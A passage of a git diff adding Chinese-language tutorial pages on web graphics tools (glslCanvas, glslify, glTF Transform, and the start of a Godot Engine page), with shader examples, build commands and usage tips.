+### 示例 1：HTML 一行跑 Book of Shaders 风格渐变
+
+**index.html** —— 与官方 README / Book of Shaders 第 4 章相同模式：
+
+```html
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+  <meta charset="utf-8" />
+  <script src="https://rawgit.com/patriciogonzalezvivo/glslCanvas/master/dist/GlslCanvas.js"></script>
+</head>
+<body>
+  <canvas
+    class="glslCanvas"
+    data-fragment-url="gradient.frag"
+    width="512"
+    height="512"
+  ></canvas>
+</body>
+</html>
+```
+
+**gradient.frag** —— 使用内置 `u_time` 与 `u_resolution`：
+
+```glsl
+#ifdef GL_ES
+precision mediump float;
+#endif
+
+uniform float u_time;
+uniform vec2 u_resolution;
+
+void main() {
+    vec2 st = gl_FragCoord.xy / u_resolution;
+    vec3 color = vec3(st.x, st.y, abs(sin(u_time)));
+    gl_FragColor = vec4(color, 1.0);
+}
+```
+
+无需手写 WebGL boilerplate：页面加载 → 自动 WebGL 上下文 → 编译 → 动画。改 `.frag` 文件刷新即可迭代。
+
+### 示例 2：JavaScript 动态加载 + 自定义 Uniform + 纹理
+
+适合接滑块、音频分析等交互：
+
+```html
+<canvas id="demo" width="600" height="400"></canvas>
+<script src="https://rawgit.com/patriciogonzalezvivo/glslCanvas/master/dist/GlslCanvas.js"></script>
+<script>
+  const canvas = document.getElementById('demo');
+  const sandbox = new GlslCanvas(canvas);
+
+  const frag = `
+#ifdef GL_ES
+precision mediump float;
+#endif
+uniform float u_time;
+uniform vec2 u_resolution;
+uniform float u_brightness;
+uniform sampler2D u_tex0;
+
+void main() {
+    vec2 uv = gl_FragCoord.xy / u_resolution;
+    vec4 tex = texture2D(u_tex0, uv);
+    float wave = sin(uv.x * 10.0 + u_time) * 0.5 + 0.5;
+    vec3 color = tex.rgb * wave * u_brightness;
+    gl_FragColor = vec4(color, 1.0);
+}
+`;
+
+  sandbox.load(frag);
+  sandbox.setUniform('u_brightness', 0.8);
+  sandbox.setUniform('u_tex0', 'photo.jpg');
+
+  // 可选：同步鼠标到 u_mouse
+  canvas.addEventListener('mousemove', (e) => {
+    sandbox.setMouse({ x: e.offsetX, y: canvas.height - e.offsetY });
+  });
+</script>
+```
+
+等价 HTML 写法：`data-textures="photo.jpg"` 会把第一张图绑到 `u_tex0`；`u_brightness` 仍需 JS `.setUniform`。
+
+### 示例 3：最小「Hello World」纯色（验证环境）
+
+```javascript
+const canvas = document.createElement('canvas');
+canvas.width = canvas.height = 256;
+document.body.appendChild(canvas);
+
+const sandbox = new GlslCanvas(canvas);
+sandbox.load(`
+void main() {
+    gl_FragColor = vec4(1.0, 0.2, 0.4, 1.0);
+}
+`);
+```
+
+若屏幕出现粉红色方块，说明 WebGL 与 glslCanvas 链路正常；再逐步加上 `u_time`、噪声函数等 Book of Shaders 章节内容。
+
+## 学习路径建议
+
+1. **跟 Book of Shaders 走**：第 0–4 章搞清 fragment shader、`uniform`、`gl_FragColor`，直接用站内 live examples。
+2. **本地复现**：复制 `data-fragment-url` 指向的 `.frag`，用静态服务器打开（避免 `file://` CORS）。
+3. **加交互**：用示例 2 的模式接 `setUniform` / `setMouse`，理解 CPU→GPU 数据流。
+4. **需要模块复用时**：引入 glslify 在构建期打包，runtime 仍用 glslCanvas `.load(bundleString)`。
+5. **上强度时**：复杂 3D、多 pass FBO 考虑 regl、Three.js ShaderMaterial 或 luma.gl；glslCanvas 定位是 **教学与原型**，不是游戏引擎。
+
+## 常见问题
+
+| 现象 | 可能原因 | 处理 |
+|------|----------|------|
+| 黑屏无报错 | WebGL 被禁用或 shader 编译失败 | 打开浏览器控制台；检查 `#ifdef GL_ES` 与 precision |
+| `data-fragment` 不生效 | HTML 属性中换行/引号被转义 | 改用 `.load()` 或 `data-fragment-url` |
+| 纹理全黑 | 跨域或未加载完成 | 纹理需 CORS；URL 正确；uniform 名 `u_tex0` 与声明一致 |
+| 与 Shadertoy 代码不兼容 | Shadertoy 有 `mainImage` 等约定 | 需改入口为 `main()` 并适配 uniform 名 |
+
+## 与相关项目对比
+
+| 项目 | 定位 |
+|------|------|
+| **glslCanvas** | 浏览器、零配置、Book of Shaders 默认 |
+| **glslEditor** | 完整 IDE（CodeMirror + 预览） |
+| **glslViewer** | CLI / 嵌入式 Linux / 管道图像处理 |
+| **glslify** | 构建期 GLSL 模块打包 |
+| **regl / Three.js** | 生产级 WebGL 应用框架 |
+
+## 小结
+
+glslCanvas 把「在 canvas 上跑 GLSL」压缩成 **一个 class 名或一行 `new GlslCanvas`**，并统一提供 `u_time`、`u_resolution`、`u_mouse` 等教程级 uniform。零基础学 shader 时，优先掌握：**HTML 声明式加载**、**内置 uniform 约定**、**JS 动态 `.load()` / `.setUniform()`** 三条线；再按需扩展到 glslify 模块化与更重型的 WebGL 框架。
+
+## 参考链接
+
+- 仓库：<https://github.com/patriciogonzalezvivo/glslCanvas>
+- Demo：<https://patriciogonzalezvivo.github.io/glslCanvas/>
+- Book of Shaders — Running your shader：<https://thebookofshaders.com/04/>
+- glslEditor：<https://editor.thebookofshaders.com>
diff --git a/src/content/docs/projects/glslify.md b/src/content/docs/projects/glslify.md
new file mode 100644
index 000000000..7071e26d2
--- /dev/null
+++ b/src/content/docs/projects/glslify.md
@@ -0,0 +1,301 @@
+---
+title: glslify — Browserify 风格 GLSL 模块
+来源: 'https://github.com/glslify/glslify'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+glslify 是一套给 **GLSL 着色器** 用的 **Node.js 风格模块系统**——让你像 `require('lodash')` 那样，在着色器里 `require('glsl-noise')`，构建时把依赖打包成一段完整的 GLSL 字符串。日常类比：
+
+> 写 JavaScript 时，你不会把 lodash 的源码整份复制进项目，而是 `npm install` 后 `import`；写 WebGL 着色器时，过去只能把噪声函数、光照模型整段粘贴进 `.glsl` 文件，改一处要搜遍全文。glslify 把 **Browserify 那套「模块 + 打包 + transform」** 搬到了 GPU 代码上。
+
+GLSL（OpenGL Shading Language）是运行在 GPU 上的着色器语言，控制每个顶点怎么变换、每个像素什么颜色。WebGL 应用最终要把着色器源码字符串传给 `gl.shaderSource()`——glslify 在 **构建阶段** 解析 `#pragma glslify` 指令、解析 npm 依赖、重命名符号避免冲突，输出可直接编译的字符串。它与具体 WebGL 框架无关：regl、Three.js 自定义 ShaderMaterial、自研引擎都能用，只要你能传入 shader source。
+
+项目由 stack.gl 生态孵化（Hugh Kennedy、Matt DesLauriers 等），MIT 协议，npm 周下载量约 70 万+，是 Browserify 时代的标准 GLSL 打包方案；现代项目也可通过 **glslify-loader**（Webpack）、**glslify-babel**（Babel 插件）或 **vite-plugin-glslify** 等接入 Vite/Rollup 管线。
+
+## 为什么重要
+
+不理解 glslify，下面这些事情都没法解释：
+
+- 为什么 Shadertoy 上几百行的噪声函数，在 stack.gl 项目里只是一行 `#pragma glslify: noise = require('glsl-noise/simplex/3d')`
+- 为什么多个 `.glsl` 文件都定义了 `main()` 或同名函数，打包后却不报「重复定义」——glslify 会自动 **重命名（suffix）** 符号
+- 为什么 Browserify 项目里 `require('glslify')` 能在打包时把 GLSL 内联成 JS 字符串，而运行时浏览器根本不需要文件系统
+- 为什么 npm 上有一整类 `glsl-*` 包（fog、film grain、easing、Cook-Torrance 光照），可以像 JS 库一样版本管理和复用
+
+## 核心概念
+
+### 1. `#pragma glslify` —— 着色器里的 import/export
+
+GLSL 本身没有 ES Module。glslify 用 **编译期指令** 模拟 Node 模块：
+
+| 指令 | 作用 | 类比 |
+|------|------|------|
+| `#pragma glslify: name = require('pkg/path')` | 从 npm 或相对路径引入符号 | `const name = require('pkg')` |
+| `#pragma glslify: export(symbol)` | 把函数/struct/uniform 暴露给引用方 | `module.exports = symbol` |
+| `#pragma glslify: require('pkg', a=b, ...)` | 把本地符号 **绑定** 到依赖模块的占位符 | 依赖注入 |
+
+构建完成后，所有 `require` 会被 **内联**，重复符号会加 `_1_0` 这类后缀，避免链接冲突。
+
+### 2. 三种使用入口
+
+- **Node / CLI**：`glslify index.glsl -o out.glsl`，或 `glslify.file('./shader.glsl')` 得到字符串
+- **Browserify transform**：`-t glslify`，在 JS 里 `require('glslify')` 调用时在 bundle 阶段替换为字符串
+- **Tagged template**：`glslify\`...\`` ES6 标签模板，在 JS 里直接写 GLSL 片段
+
+输出始终是 **单个 GLSL 源字符串**（顶部常带 `#define GLSLIFY 1`），交给 WebGL 编译即可。
+
+### 3. glslify-deps 与 glslify-bundle
+
+内部管线分两步，概念上类似 Browserify 的 `module-deps` + `bundle`：
+
+1. **glslify-deps**：从入口 `.glsl` 或 inline 字符串出发，递归解析 `#pragma glslify`，构建依赖图
+2. **glslify-bundle**：按拓扑顺序合并文件，应用 rename，输出最终源码
+
+你可以在服务端只跑 deps 做依赖分析，在浏览器端再 bundle——适合大型可视化应用的拆分部署。
+
+### 4. Source Transforms（着色器版 Babel 插件）
+
+受 Browserify transform 启发，可在 **构建时** 改写 GLSL 语法，分三类：
+
+- **Local**：只对当前包内文件生效（如 `glslify-hex` 把 `#ff0000` 转成 `vec3`）
+- **Global**：对所有依赖生效
+- **Post**：对整个 bundle 完成后做一次（如全着色器优化）
+
+在 `package.json` 里配置：
+
+```json
+{
+  "glslify": {
+    "transform": [
+      "glslify-hex",
+      ["glslify-optimize", { "mangle": true }]
+    ]
+  }
+}
+```
+
+### 5. npm 上的 GLSL 包约定
+
+- 包名通常以 `glsl-` 开头
+- 入口文件是 `index.glsl` 而不是 `index.js`
+- 解析算法与 Node 相同：从着色器所在目录的 `node_modules` 向上查找
+
+stack.gl 维护的 [Shader Components 列表](http://stack.gl/packages/) 是选库的起点。
+
+## 实践案例
+
+### 案例 1：从 npm 引入 Simplex 噪声（最小片段着色器）
+
+安装社区模块：
+
+```bash
+npm install glslify glsl-noise
+```
+
+**shader.glsl**（片段着色器入口）：
+
+```glsl
+#pragma glslify: noise = require('glsl-noise/simplex/3d')
+
+precision mediump float;
+varying vec3 vpos;
+
+void main() {
+  float n = noise(vpos * 25.0);
+  gl_FragColor = vec4(vec3(n), 1.0);
+}
+```
+
+**index.js**（Node 或 Browserify 入口）：
+
+```javascript
+const glslify = require('glslify')
+
+// 方式 A：读文件
+const frag = glslify.file('./shader.glsl')
+
+// 方式 B：标签模板（适合短 shader）
+const fragInline = glslify`
+  #pragma glslify: noise = require('glsl-noise/simplex/3d')
+  precision mediump float;
+  varying vec3 vpos;
+  void main() {
+    gl_FragColor = vec4(vec3(noise(vpos * 25.0)), 1.0);
+  }
+`
+
+console.log(frag.slice(0, 80))  // "#define GLSLIFY 1\n\n..."
+```
+
+**逐部分解释**：`#pragma glslify: noise = require(...)` 声明「我要把包里的噪声函数 import 成本地名 `noise`」。构建时 glslify 会把 `glsl-noise` 里对应文件的函数体插入，并把内部函数名改成 `snoise_1_2` 这类唯一名。你在 JS 里拿到的 `frag` 已经是 **展开后的完整 GLSL**，直接 `gl.shaderSource(shader, frag)` 即可。
+
+Browserify 打包：
+
+```bash
+browserify -t glslify index.js -o bundle.js
+```
+
+### 案例 2：export 自定义模块 + 跨模块引用绑定
+
+把可复用的「上半球光照」抽成模块。
+
+**lighting.glsl**（导出）：
+
+```glsl
+float topDot(vec3 normal) {
+  return max(dot(vec3(0.0, 1.0, 0.0), normal), 0.0);
+}
+
+#pragma glslify: export(topDot)
+```
+
+**main.frag**（消费）：
+
+```glsl
+#pragma glslify: topDot = require('./lighting.glsl')
+
+precision mediump float;
+varying vec3 vNormal;
+
+void main() {
+  float shade = topDot(normalize(vNormal));
+  gl_FragColor = vec4(vec3(shade), 1.0);
+}
+```
+
+**带占位符的 require**（高级）：若模块 `accumulator.glsl` 里用到了未定义的 `N` 和 `map`，可在 require 时 **注入本地符号**：
+
+```glsl
+const int M = 500;
+float add(float a, float b) { return a + b; }
+
+#pragma glslify: sum500 = require('./accumulator.glsl', N=M, map=add)
+```
+
+这类似函数式编程里的 **高阶参数**：同一份 `accumulator.glsl` 可实例化成「500 元素求和」或「17 元素求积」，只需换 `N` 和 `map`。
+
+### 案例 3：与 regl 组合（现代 WebGL 常见写法）
+
+glslify 只负责 **字符串**；绘制仍由 WebGL 封装库完成：
+
+```javascript
+const regl = require('regl')()
+const glslify = require('glslify')
+
+const draw = regl({
+  frag: glslify`
+    #pragma glslify: grain = require('glsl-film-grain')
+    precision mediump float;
+    uniform float time;
+    varying vec2 vUv;
+    void main() {
+      vec3 col = vec3(vUv, 0.5);
+      col += grain(vUv * 800.0, time) * 0.08;
+      gl_FragColor = vec4(col, 1.0);
+    }
+  `,
+  vert: `
+    attribute vec2 position;
+    varying vec2 vUv;
+    void main() {
+      vUv = position * 0.5 + 0.5;
+      gl_Position = vec4(position, 0, 1);
+    }
+  `,
+  attributes: {
+    position: [[-1,-1], [3,-1], [-1,3]]
+  },
+  uniforms: {
+    time: ({ tick }) => tick * 0.05
+  },
+  count: 3
+})
+
+regl.frame(() => draw())
+```
+
+**要点**：`frag` 字段在 bundle 阶段已被 glslify 展开；运行时 regl 只做编译与绘制。film grain、noise、fog 等效果都以 npm 模块形式叠加，主着色器保持可读。
+
+## 构建工具对照
+
+| 工具链 | 接入方式 |
+|--------|----------|
+| Browserify | `-t glslify` 或 `package.json` → `browserify.transform` |
+| Webpack | [glslify-loader](https://github.com/stackgl/glslify-loader) |
+| Babel | [glslify-babel](https://github.com/stackgl/glslify-babel) 插件；若 Babel 把 import 转成 require 导致静态分析失败，可配合 `babel-plugin-import-to-require` |
+| 直接 require `.glsl` | [glslify-bare](https://github.com/jnordberg/glslify-bare) transform，比扫描全项目的 glslify 更快，但不能 per-file transform 选项 |
+| Vite / Rollup | 社区 `vite-plugin-glslify`、`rollup-plugin-glslify` 等 |
+
+在线试验可打开 [glslb.in](http://glslb.in/)——带 glslify 支持的 fragment shader 沙盒，类似 Shadertoy。
+
+## 踩过的坑
+
+1. **pragma 必须在构建时可见**：若在运行时拼接 `#pragma glslify` 字符串，打包器无法静态分析，require 不会展开。Shader 源码要在构建阶段确定（或走 glslify CLI 预编译）。
+
+2. **Babel 与静态分析冲突**：ES6 `import glsl from 'glslify!...'` 经 Babel 转译后，glslify 可能找不到调用点。官方建议用 tagged template、`glslify.file()`，或 `babel-plugin-import-to-require` 映射。
+
+3. **符号重命名后的调试**：内联后函数名带 `_1_0` 后缀，GPU 调试器里栈 trace 可读性变差。开发时可先用 CLI 输出 `output.glsl` 人工阅读，再切回 bundle 流程。
+
+4. **WebGL1 vs WebGL2 语法**：社区 `glsl-*` 模块多数面向 GLSL ES 1.0（WebGL1）。在 WebGL2 项目里要确认模块是否使用 `texture`/`in`/`out` 等新关键字，必要时 fork 或写 local transform。
+
+5. **与 Three.js ShaderChunk 两套体系**：Three.js 自带 `#include <...>` 预处理器，和 glslify 的 `#pragma` 不互通。在 ShaderMaterial 里用 glslify 通常指 **构建期** 生成字符串再赋给 `fragmentShader`，不要混用两种 include 语法。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- stack.gl / regl / 自研 WebGL 引擎，需要组合大量社区着色器 snippet
+- 科学可视化、生成艺术、广告落地页等 **自定义 GLSL** 项目
+- 希望噪声、光照、后处理与 JS 依赖一样 **版本锁定、可审计**
+- Browserify 或 Webpack 老项目维护着色器资产
+
+**不适用**：
+
+- 纯 Three.js 标准材质、不写自定义 shader → 直接用引擎内置即可
+- 已全面使用 **WGSL / WebGPU** 新栈 → glslify 仅服务 GLSL
+- 运行时动态生成大量不同 shader 拓扑（依赖图每帧都变）→ 构建期 bundle 帮不上忙，需自研或 GPU 字符串缓存策略
+- 团队零 Node 构建、只有 CDN `<script>` → 需预编译 GLSL 为静态字符串文件
+
+## 历史小故事（可跳过）
+
+- **2012 年**：Hugh Kennedy 在 stack.gl 工作中提出「GLSL 也需要 require」；glslify 首个版本与 Browserify transform 同时出现，哲学直接继承 substack 的模块化 JS 运动。
+- **2013–2016 年**：Matt DesLauriers 撰文 [*Modular and Versioned GLSL*](http://mattdesl.svbtle.com/glslify)，`glsl-noise`、`glsl-film-grain` 等包爆发；WebGL Insights 一书专章介绍 glslify。
+- **2016 年**：glslify v5 引入 tagged template API；glslify-deps / glslify-bundle 拆分，架构对齐 Browserify 的 deps + bundle。
+- **2017+**：Webpack loader、Babel 插件、glslb.in 沙盒出现；Plotly、Make Me Pulse 等商业项目在生产环境使用。
+- **2020 年代**：Vite 成为默认 bundler，社区 loader 延续 glslify 语义；核心仓库更新放缓，但 npm 下载量仍高——说明 **着色器模块化** 需求稳定，工具链随 bundler 变迁而适配。
+
+## 学到什么
+
+1. **把熟悉的设计模式搬到新语言**：Browserify 的 module-deps + transform 思想移植到 GLSL，降低了 GPU 代码复用门槛——好的架构往往可以跨领域复用
+2. **构建期内联 vs 运行时加载**：着色器几乎不变，适合在 build time 做依赖解析和符号重命名，运行时零开销
+3. **符号重命名是链接器的核心工作**：多个模块合并成单文件，必须解决命名冲突；理解 glslify 输出里的 `_1_0` 后缀，就理解了链接器在做什么
+4. **小模块生态比大框架更长寿**：`glsl-noise` 这类单功能包十年仍在用，说明图形学里「可组合 snippet」比「全能引擎」更抗时间
+
+## 延伸阅读
+
+- 官方仓库：[glslify/glslify](https://github.com/glslify/glslify)（API、CLI、transform 完整说明）
+- 概念文章：[Modular and Versioned GLSL](http://mattdesl.svbtle.com/glslify)（Matt DesLauriers）
+- 包索引：[stack.gl Shader Components](http://stack.gl/packages/)
+- 在线沙盒：[glslb.in](http://glslb.in/)
+- 依赖.walk：[glslify-deps](https://www.npmjs.com/package/glslify-deps)
+- Webpack：[glslify-loader](https://github.com/stackgl/glslify-loader)
+
+## 关联
+
+- [[regl]] —— stack.gl 核心渲染库，frag/vert 字符串常与 glslify 配合
+- [[webpack]] —— 通过 glslify-loader 接入现代或 legacy 前端构建
+- [[esbuild]] —— 若只用 esbuild 打包 JS，需单独步骤处理 GLSL（esbuild 无原生 glslify transform）
+- [[three-js]] —— 自定义 ShaderMaterial 可消费 glslify 产出的字符串
+- [[d3]] —— 数据可视化上层；WebGL 层可用 glslify 管理着色器模块
+- [[luma-gl]] —— vis.gl 生态的 WebGL 抽象，部分项目仍沿用 glslify 资产管理 shader
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+（暂无反向链接）
+
diff --git a/src/content/docs/projects/gltf-transform.md b/src/content/docs/projects/gltf-transform.md
new file mode 100644
index 000000000..bb4640199
--- /dev/null
+++ b/src/content/docs/projects/gltf-transform.md
@@ -0,0 +1,229 @@
+---
+title: glTF Transform — glTF 资产工具链
+description: JavaScript/TypeScript 的 glTF 2.0 SDK，用 Document 图结构无损编辑 3D 模型，配套 CLI 与 functions 库做批量优化、压缩与管线自动化
+来源: 'https://github.com/donmccurdy/glTF-Transform'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**glTF Transform** 是 Don McCurdy 维护的 **glTF 2.0 SDK**（TypeScript，MIT），在 **Node.js 与浏览器** 上都能跑。它不负责「在 Blender 里捏模型」，而是像 **3D 资产的 DevOps 流水线**——读入 `.gltf` / `.glb`，批量去重、压缩几何、改材质、拆包合包，再写出新文件。
+
+日常类比：一份 glTF 模型像一本**精装立体画册**——JSON 是目录（哪页是 mesh、哪页是材质），二进制块是印好的彩页（顶点坐标、贴图像素）。手工改 glTF 等于用剪刀在目录上改页码，还要重新计算每一页在画册里的**字节偏移**——错一位，后面全乱。glTF Transform 像 **带智能目录的编辑室**：你只说「把第 3 个 mesh 复制一份挂到新节点」，它内部用**引用图**维护关系，导出时再自动排版、对齐偏移。和 [[assimp]] 的分工也清晰：Assimp **从 40+ 格式导入**；glTF Transform **在 glTF 生态内做可复现的编辑与优化**。
+
+最小 CLI 一步优化：
+
+```bash
+gltf-transform optimize input.glb output.glb --compress draco --texture-compress webp
+```
+
+## 为什么重要
+
+零基础做 Web 3D、AR 或资产管线，迟早会碰到 glTF Transform：
+
+- **glTF 是 Web 3D 的事实交换格式**：three.js、Babylon.js、PlayCanvas、Unity 导出器都围绕它；能在 **JS/TS 里脚本化改 glTF**，比调 Blender 批处理更适合 CI
+- **无损编辑 vs 建模软件**：Blender 改的是「艺术语义」；glTF Transform 改的是「运行时字节布局」——dedup、prune、join、量化——**可重复、可 diff 思路的管线步骤**
+- **与 [[draco]] 互补**：Draco 是几何压缩算法；glTF Transform 的 `draco()` transform 和 CLI `draco` 命令把压缩**嵌进 glTF 扩展** `KHR_draco_mesh_compression`，并和纹理 WebP/KTX2 等一步编排
+- **同一套 API 跑在 Node 与 Web**：离线构建用 `NodeIO`，浏览器里可用 `WebIO`；[gltf.report](https://gltf.report/) 的 Script 面板甚至能**免安装试脚本**
+- **扩展生态**：`@gltf-transform/extensions` 注册 Khronos 与常用扩展；也可写自定义 Extension 类挂到 `Document` 上
+
+## 核心要点
+
+### 1. 四层包结构
+
+| 包 | 职责 |
+| --- | --- |
+| `@gltf-transform/core` | `Document`、`NodeIO`/`WebIO`、Property 图、读写 glTF |
+| `@gltf-transform/extensions` | `KHR_draco_mesh_compression`、`KHR_texture_basisu` 等扩展注册 |
+| `@gltf-transform/functions` | 现成 transform：`dedup`、`prune`、`quantize`、`draco`、`textureCompress`… |
+| `@gltf-transform/cli` | 终端命令：`optimize`、`inspect`、`merge`、`weld`… |
+
+安装脚本 API：
+
+```bash
+npm install @gltf-transform/core @gltf-transform/extensions @gltf-transform/functions
+```
+
+纹理相关 transform 在 Node 里常依赖 **Sharp**（`npm install sharp`）。
+
+### 2. Document：一本可编辑的 glTF 画册
+
+`Document` 包装整个资产。原生 glTF 用 **JSON 数组下标** 互相指向（`"mesh": 0`）；glTF Transform 改成 **对象引用 + 有向图**：
+
+- `doc.getRoot().listMeshes()` 列出所有 mesh
+- `mesh.listParents()` 看谁引用了这个 mesh
+- `property.dispose()` 删掉资源并断开引用
+
+导出时才把图**摊平**成索引和 `bufferViews`——编辑期不用手算 byte offset。
+
+### 3. Property 与 Scene 层级（简化）
+
+与 glTF 2.0 概念一致，脚本时常见路径：
+
+```
+Scene → Node（树）→ Mesh → Primitive → Accessor（顶点属性）
+Material / Texture ← Primitive 引用
+```
+
+`BufferView` 在 API 层**几乎不可见**：库在导出时为 mesh 自动生成交错布局的 buffer view。
+
+### 4. Transform：管道里的「工序」
+
+`doc.transform(fn1(), fn2(), …)` 按顺序应用异步工序。每个 transform 接收 `Document`，改完返回。典型组合：
+
+| Transform | 作用 |
+| --- | --- |
+| `dedup()` | 合并重复 accessor / 纹理 |
+| `prune()` | 删掉场景未引用的死资源 |
+| `weld()` | 焊接等价顶点 |
+| `quantize()` | 降低顶点精度省内存 |
+| `draco()` | 几何 Draco 压缩（需 `draco3dgltf`） |
+| `textureCompress()` | WebP/JPEG 等（需 Sharp） |
+
+`optimize` CLI 命令本质是把上述多步**打包成默认配方**，不一定适合所有场景——复杂项目应用 `inspect` 先看报告再挑命令。
+
+### 5. I/O：NodeIO vs WebIO
+
+| 类 | 环境 | 说明 |
+| --- | --- | --- |
+| `NodeIO` | Node.js | 读文件路径 / 写 `Uint8Array`；可 `registerExtensions` |
+| `WebIO` | 浏览器 | `fetch` 读 URL；解码器 WASM 需自行配置 |
+| `DenoIO` | Deno | 同 Node 思路 |
+
+读 glTF 前通常 `registerExtensions(KHRONOS_EXTENSIONS)`，否则带扩展的模型会丢扩展数据或读失败。
+
+### 6. CLI 命令分区（记忆用）
+
+官方 CLI 把命令分成 **INSPECT / PACKAGE / SCENE / GEOMETRY / MATERIAL / TEXTURE / ANIMATION** 七组。零基础最常用：
+
+- `inspect` — 打印几何/纹理/draw call 概览
+- `optimize` — 一键优化
+- `copy` — 几乎不改结构地复制
+- `merge` — 多模型合一
+- `draco` / `meshopt` / `webp` / `etc1s` — 专项压缩
+
+国内装 CLI 若 Sharp 报错，可按文档配置 npmmirror 的 Sharp 二进制镜像。
+
+## 代码示例
+
+### 示例 1：读取、清理、写出（Node.js）
+
+```typescript
+import { NodeIO } from '@gltf-transform/core';
+import { KHRONOS_EXTENSIONS } from '@gltf-transform/extensions';
+import { dedup, prune, weld } from '@gltf-transform/functions';
+
+const io = new NodeIO().registerExtensions(KHRONOS_EXTENSIONS);
+
+const document = await io.read('input.glb');
+
+// 焊接顶点 → 去重 → 删掉无人引用的材质/纹理
+await document.transform(dedup(), prune(), weld());
+
+await io.write('output.glb', document);
+```
+
+**要点**：`read` 得到的是可变 `Document`；`transform` 是 async，要 `await`；`write` 会重新打包 GLB 二进制块。
+
+### 示例 2：遍历 mesh 并改材质名（理解 Property API）
+
+```typescript
+import { NodeIO } from '@gltf-transform/core';
+
+const io = new NodeIO();
+const doc = await io.read('robot.glb');
+const root = doc.getRoot();
+
+for (const mesh of root.listMeshes()) {
+  console.log(mesh.getName(), 'primitives:', mesh.listPrimitives().length);
+
+  for (const prim of mesh.listPrimitives()) {
+    const mat = prim.getMaterial();
+    if (mat) {
+      mat.setName(`mat_${mesh.getName()}`);
+    }
+  }
+}
+
+await io.write('robot_renamed.glb', doc);
+```
+
+`listMeshes()` / `getMaterial()` 都是**对象引用**，不是 JSON 下标。改 `Material` 会作用于所有引用该材质的 Primitive。
+
+### 示例 3：带 Draco + 纹理压缩的优化管线
+
+```typescript
+import { NodeIO } from '@gltf-transform/core';
+import { KHRONOS_EXTENSIONS } from '@gltf-transform/extensions';
+import {
+  dedup,
+  draco,
+  prune,
+  textureCompress,
+} from '@gltf-transform/functions';
+import draco3d from 'draco3dgltf';
+
+const io = new NodeIO()
+  .registerExtensions(KHRONOS_EXTENSIONS)
+  .registerDependencies({
+    'draco3d.decoder': await draco3d.createDecoderModule(),
+    'draco3d.encoder': await draco3d.createEncoderModule(),
+  });
+
+const doc = await io.read('heavy.glb');
+
+await doc.transform(
+  dedup(),
+  prune(),
+  draco({ method: 'edgebreaker' }),
+  textureCompress({ format: 'webp', resize: [2048, 2048] }),
+);
+
+await io.write('heavy_optimized.glb', doc);
+```
+
+`draco()` 需要 `draco3dgltf` 的 encoder/decoder 模块注入 `NodeIO`；`textureCompress` 需要 Sharp。与 [[draco]] 文档里的独立 `draco_encoder` 不同，这里是 **glTF 扩展封装**，输出仍是标准 `.glb`。
+
+### 示例 4：CLI 批处理（shell）
+
+```bash
+# 先看体检报告
+gltf-transform inspect scene.glb
+
+# 合并两个模型并优化
+gltf-transform merge a.glb b.glb -o merged.glb
+gltf-transform optimize merged.glb merged_opt.glb \
+  --compress draco \
+  --texture-compress webp
+```
+
+适合放在 CI：美术提交大模型 → 流水线自动产出 Web 友好版本。
+
+## 与周边工具的关系
+
+| 工具 | 关系 |
+| --- | --- |
+| [[assimp]] | 多格式 **导入** → 导出 glTF 后，用 glTF Transform **瘦身/修规范** |
+| [[draco]] | 算法层；glTF Transform 负责 **扩展写入与管线编排** |
+| three.js | 运行时加载；`GLTFLoader` + `DRACOLoader` 解码 Transform 产出的文件 |
+| gltf-pipeline（Cesium） | 另一套 glTF 工具；Transform 更偏 **可编程 TS API + 现代扩展** |
+
+## 常见坑
+
+1. **忘了 `registerExtensions`**：带 `KHR_*` 的模型读进来扩展被剥掉，写出后体积/效果异常。
+2. **Sharp / Draco 原生依赖**：CI 镜像要装齐；国内注意 Sharp 二进制镜像。
+3. **`optimize` 不是万能**：高模展示站可能不该 quantize；先 `inspect`。
+4. **Web 与 Node API 不同**：浏览器里没有 `NodeIO.read(path)`，要用 `WebIO` + `fetch`。
+5. **dispose 与 detach**：`detach()` 仅从父节点摘下；要彻底删资源用 `dispose()`，否则仍会导出未引用块。
+
+## 延伸阅读
+
+- 官方概念文档：[gltf-transform.dev/concepts](https://gltf-transform.dev/concepts)
+- CLI 速查：[gltf-transform.dev/cli](https://gltf-transform.dev/cli)
+- 在线试脚本：[gltf.report](https://gltf.report/) → Script 面板
+- glTF 2.0 概念：[glTF 2.0 Quick Reference](https://www.khronos.org/files/gltf20-reference-guide.pdf)
+- 仓库：[donmccurdy/glTF-Transform](https://github.com/donmccurdy/glTF-Transform)
diff --git a/src/content/docs/projects/godot.md b/src/content/docs/projects/godot.md
new file mode 100644
index 000000000..a5a1b2813
--- /dev/null
+++ b/src/content/docs/projects/godot.md
@@ -0,0 +1,258 @@
+---
+title: Godot Engine — 开源游戏引擎 + 编辑器
+来源: 'https://github.com/godotengine/godot'
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+Godot Engine 是一个**完全免费、开源**的 2D/3D 游戏引擎，自带可视化编辑器。日常类比：它像一间「自带工具台的乐高工作室」——不仅有积木（节点），还有图纸（场景）、接线板（信号）和整面墙的工作台（编辑器）。你拖积木、连线路、写几行脚本，就能从空白项目跑到可玩的原型。
+
+和「只给 API、自己搭编辑器」的框架不同，Godot 把**引擎运行时**和**场景编辑器**打包在一起。游戏由**场景（Scene）**组成，场景是**节点（Node）**的树；脚本挂在节点上，节点之间用**信号（Signal）**通信。项目文件以 `.tscn`（场景）和 `.gd`（GDScript）为主，一键导出到 Windows、macOS、Linux、Android、iOS 和 Web。
+
+GitHub 主仓库 [godotengine/godot](https://github.com/godotengine/godot) 超过 10 万 star，采用 MIT 协议，无分成、无订阅费，商业发行也不额外收费。当前稳定线以 **Godot 4.6.x** 为主（Vulkan 3D、独立 2D 渲染器、移动端编辑器也在迭代）。
+
+## 为什么重要
+
+不了解 Godot，下面这些事都难以解释：
+
+- 为什么 indie 开发者能在**零授权费**前提下做出接近商业品质的 2D/3D 游戏——引擎与编辑器一体，迭代成本极低
+- 为什么「场景可嵌套、可实例化」能替代大量复制粘贴——一个 `Player.tscn` 拖进关卡就能生成多个玩家实例
